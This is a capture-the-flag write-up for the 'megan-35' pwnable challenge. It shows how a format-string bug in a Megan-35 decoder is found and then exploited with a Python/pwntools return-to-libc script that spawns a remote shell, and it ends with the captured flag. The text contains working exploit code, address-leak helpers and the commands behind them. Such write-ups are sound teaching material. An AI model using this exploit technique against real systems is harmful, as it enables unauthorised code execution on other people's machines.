Category: Pwnable

Points: 200

Description:

We created our own Megan-35 decoding tool, feel free to test it. System is running Ubuntu 16.04, ASLR is disabled.
nc megan35.stillhackinganyway.nl 3535

megan-35 - 5f12aa57589088dc14c2d589b97b4d4d

libc.so.6 - a503ef51452760010c1dbd421ac26635

When working on binary exploitation challenges, I usually approach them in 3 stages.

  1. Basic Reverse Engineering - Get a rough idea of how the binary works.
  2. Testing/Bughunting - My testing usually begins with manual fuzzing, if I can’t find the bug, I will go back and reverse engineer it further.
  3. Exploit Development - Once I have found the bug, the real fun begins!

Recommended Reading

For those who are new to binary exploitation, I recommend you read the following:

Reverse Engineering

So this binary simply takes a string as user input, and attempts to decode it using Megan-35. At first, I didn’t realize that Megan-35 was a real encoding, but rather, I assumed it was one created for the CTF. So I spent a lot of time attempting to reverse-engineer the encoding from the assembly. I then had the idea that I should search Google for Megan-35. I then stumbled upon this Python script on Github.

Awesome! A Python-based implementation for encoding/decoding strings!

Testing/Bughunting

From the previous stage, I had noticed what appeared to be an uncontrolled printf call. Let’s verify that quickly now that we have an easy way to encode arbitrary text into Megan-35.

I encode the payload following string format into Megan-35:

%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

And manually enter it into the binary:

$ ./megan-35 
Decrypt your text with the MEGAN-35 encryption.
Od3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQW55
0804b818.f7fce5a0.00000000.00000000.00000000.00000000.7933644f.3179486f.79584952.71655951.56574d54.7933644f.3179486f.79584952.71655951.56574d54.7933644f.3179486f.79584952.71655951.

Great! We now have our bug, a classic string format vulnerability.

Exploit Development

The first step I usually take when developing an exploit for a binary, is to run checksec on it.

$ checksec megan-35
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Since NX is enabled, we can’t simply put a bunch of shellcode on the stack and return to that. However, the CTF organizers were nice enough to provide us a copy of libc, a return-to-libc attack should work perfectly on this binary.

Now is probably a good time to emulate the remote system configuration as closely as possible. In order to use the supplied libc library, instead of the one installed with your operating system, simply execute the following:

$ export LD_PRELOAD=./libc.so.6

This terminal session will now use the same version of Libc that the remote target is running. Next, we should disable ASLR as it is disabled on the remote target. Simply execute the following:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now that our setup configuration closely resembles the remote server, lets try and figure out which argument contains the beginning of my payload. I try using the following payload:

payload = ''
payload += 'AAAA'
payload += '%x.'*200

But I don’t see a value of 41414141 get printed, it appears that this format string exceeds the max buffer. So instead, I write a script to directly access each parameter until it finds the one that contains the first 4 bytes of our string format.

def find_arg_offset():
    for i in range(0,500):
        p = getp()
        payload = ''
        payload += 'AAAA%'
        payload += str(i)
        payload += '$x'
        cipher = encode(megan35, payload)
        p.sendline(cipher)
        ret = p.recvall()
        print(ret)
        if '41414141' in ret:
            print(i)
            print('Found it!')
            return i

It ends up finding 41414141 at argument 71. Combine this with the ‘%hn’ format, and we can now overwrite arbitrary memory.

So to perform the return-to-libc attack, we will want to setup the stack as such:

|---+---+---+---|---+---+---+---|---+---+---+---|
 [ RETURN ADDR ] [     DUMM    ] [    PARAM1   ]

The reason why we have DUMM in between the return address and param1 is because that is the address that will get jumped to after our libc function call has completed. I don’t care to fill this in with a meaningful address because after we exit the shell, I don’t care what happens to the program (it will crash).

So we really only need to overwrite 2 addresses, the return address and the parameter address. We will point the return address to the libc function, system and param1 should point to the string \bin\sh\x00. We could have put \bin\sh\x00 at the end of our payload and set the parameter address to a value on the stack, but since we have to caluclate the libc address for system, it was just as easy to find the string \bin\sh\x00 directly in libc.so.6. To simplify this task, I used pwntools to calculate the necessary addresses.

libc = ELF('./libc.so.6')
libc.address = printf_addr - libc.symbols['printf']
print('System...')
print(hexdump(libc.symbols['system']))
print('/bin/sh...')
print(hexdump(next(libc.search('/bin/sh\x00'))))

But on each system, libc may be loaded at a slightly different offset (but thankfully, since ASLR was disabled, libc will be loaded into the same location each time).

So to find the libc address, I first used a debugger to find what address printf was being loaded at on my local setup. Then I dumped the values on the stack until I found one that was close to printf. I discovered that argument #46 on the stack contains a value that is offset from printf by 0x35D3B. So I wrote a function to reliably deliver the printf address (assuming ASLR is disabled on the machine).

def get_printf_addr():
    p = getp()
    payload = ''
    payload += 'AAAA%46$x'
    cipher = encode(megan35, payload)
    p.sendline(cipher)
    ret = p.recvall()
    ret = ret.replace('AAAA','')
    return u32(ret.decode('hex')[::-1])+0x35D3B

I then did something similar for finding the address on the stack containing the return address.

def get_retn_addr():
    p = getp()
    payload = ''
    payload += 'AAAA%96$x'
    cipher = encode(megan35, payload)
    p.sendline(cipher)
    ret = p.recvall()
    ret = ret.replace('AAAA','')
    return u32(ret.decode('hex')[::-1])+0xc

Finally, I am ready to build the string format exploit. Since %hn writes only 2 bytes at a time, we will have to perform a total of 4 writes to modify the 2 addresses. I add the address with the smallest value to overwrite first ascending to the largest overwrite value. And then I write to the arguments in the order that they are on the stack.

Here were the calculated memory addresses on the remote server:

System...
00000000  40 39 e5 f7                                         │@9··││
00000004
/bin/sh...
00000000  0b 20 f7 f7                                         │· ··││
00000004

And the final exploit code:

retn_addr = get_retn_addr()
print('0x%x' % retn_addr)

p = getp()
fmt = ''
fmt += p32(retn_addr+8)
fmt += p32(retn_addr)
fmt += p32(retn_addr+2)
fmt += p32(retn_addr+8+2)
fmt += '%8187x%71$hn'
fmt += '%6453x%72$hn'
fmt += '%48805x%73$hn'
fmt += '%18x%74$hn'
    
payload = encode(megan35, fmt)
p.sendline(payload)
p.interactive()

And finally, we have popped a shell, now to get our flag!

$ ls -la
total 116
drwxr-xr-x  25 root root  4096 Aug  5 09:57 .
drwxr-xr-x  25 root root  4096 Aug  5 09:57 ..
drwxr-xr-x   2 root root 12288 Aug  4 14:41 bin
drwxr-xr-x   3 root root  4096 Aug  4 14:45 boot
drwxr-xr-x  15 root root  3820 Aug  5 09:57 dev
drwxr-xr-x  95 root root  4096 Aug  5 11:35 etc
-rw-r--r--   1 root root    39 Jul 21 16:48 flag
drwxr-xr-x   4 root root  4096 Jul 21 16:48 home
lrwxrwxrwx   1 root root    30 Aug  4 12:03 initrd.img -> boot/initrd.img-4.4.0-1028-aws
lrwxrwxrwx   1 root root    30 Jul 26 16:48 initrd.img.old -> boot/initrd.img-4.4.0-1026-aws
drwxr-xr-x  21 root root  4096 Jul 21 16:48 lib
drwxr-xr-x   2 root root  4096 Jul 21 16:48 lib32
drwxr-xr-x   2 root root  4096 Jun 19 23:49 lib64
drwxr-xr-x   2 root root  4096 Jul 21 16:48 libx32
drwx------   2 root root 16384 Jun 19 23:58 lost+found
drwxr-xr-x   2 root root  4096 Jun 19 23:49 media
drwxr-xr-x   2 root root  4096 Jun 19 23:49 mnt
drwxr-xr-x   2 root root  4096 Jun 19 23:49 opt
d--x--x--x 143 root root     0 Aug  5 09:57 proc
drwx------   3 root root  4096 Jul 23 21:17 root
drwxr-xr-x  24 root root   960 Aug  6 15:21 run
drwxr-xr-x   2 root root 12288 Aug  4 14:41 sbin
drwxr-xr-x   2 root root  4096 Apr 29 08:38 snap
drwxr-xr-x   2 root root  4096 Jun 19 23:49 srv
dr-xr-xr-x  13 root root     0 Aug  5 12:06 sys
drwxrwxrwt   8 root root  4096 Aug  6 23:17 tmp
drwxr-xr-x  12 root root  4096 Jul 21 16:48 usr
drwxr-xr-x  14 root root  4096 Jul 21 16:45 var
lrwxrwxrwx   1 root root    27 Aug  4 12:03 vmlinuz -> boot/vmlinuz-4.4.0-1028-aws
lrwxrwxrwx   1 root root    27 Jul 26 16:48 vmlinuz.old -> boot/vmlinuz-4.4.0-1026-aws

$ cat flag
flag{43eb404b714b8d22e1168775eba1669c}

Complete exploit implementation

Flag

flag{43eb404b714b8d22e1168775eba1669c}